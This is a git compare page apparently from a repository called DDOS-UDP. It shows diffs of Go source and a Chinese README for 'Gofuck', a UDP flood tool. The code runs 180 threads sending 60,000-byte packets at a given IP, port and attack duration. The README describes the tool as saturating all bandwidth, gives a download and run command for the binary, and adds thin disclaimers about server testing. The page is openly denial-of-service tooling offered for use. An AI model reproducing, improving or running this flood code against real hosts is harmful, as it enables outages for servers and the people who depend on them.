Compare commits
No commits in common. "main" and "v.1.0.0" have entirely different histories.
@ -7,10 +7,9 @@ import (
|
|||||||
"strconv"
|
"strconv"
|
||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
// 定义线程数,可自定义
|
|
||||||
const THREADS = 180
|
const THREADS = 180
|
||||||
func attack(ip string, port int, duration int) {
|
func attack(ip string, port int, duration int) {
|
||||||
// 定义包字节,可自定义
|
|
||||||
bytes := make([]byte, 60000)
|
bytes := make([]byte, 60000)
|
||||||
startTime := time.Now()
|
startTime := time.Now()
|
||||||
endTime := startTime.Add(time.Duration(duration) * time.Second)
|
endTime := startTime.Add(time.Duration(duration) * time.Second)
|
||||||
|
|||||||
17
README.md
17
README.md
@ -1,14 +1,9 @@
|
|||||||
### Gofuck声明:
|
用户在使用本工具前请先查看授权及免责声明,Gofuck仅仅是一个用于服务器性能的工具,用作其他用途,后果自负。
|
||||||
|
Gofuck 使用文档:
|
||||||
|
使用前使用 chmod +x Gofuck 赋予执行权限。
|
||||||
|
|
||||||
|
使用参数:
|
||||||
|
|
||||||
- Gofuck是一个简单暴力的UDP发包程序,能快速利用全部带宽。
|
|
||||||
- 禁止将Gofuck用于违法活动,代码仅用于本地测试参考,如违规使用,责任自负。
|
|
||||||
|
|
||||||
### 使用方法:
|
|
||||||
```shell
|
```shell
|
||||||
// 下载程序
|
./Gofuck <IP地址> <端口> <攻击持续时间>
|
||||||
wget https://github.com/randycolin/DDOS-UDP/releases/download/v.1.0.0/Gofuck
|
|
||||||
// 赋予执行权限
|
|
||||||
chmod +x Gofuck
|
|
||||||
// 输入相应参数开始执行例如:./Gofuck 127.0.0.1 80 120
|
|
||||||
./Gofuck <IP地址> <端口> <攻击持续时间>
|
|
||||||
```
|
```
|
||||||
|
|||||||
Loading…
Reference in New Issue
Block a user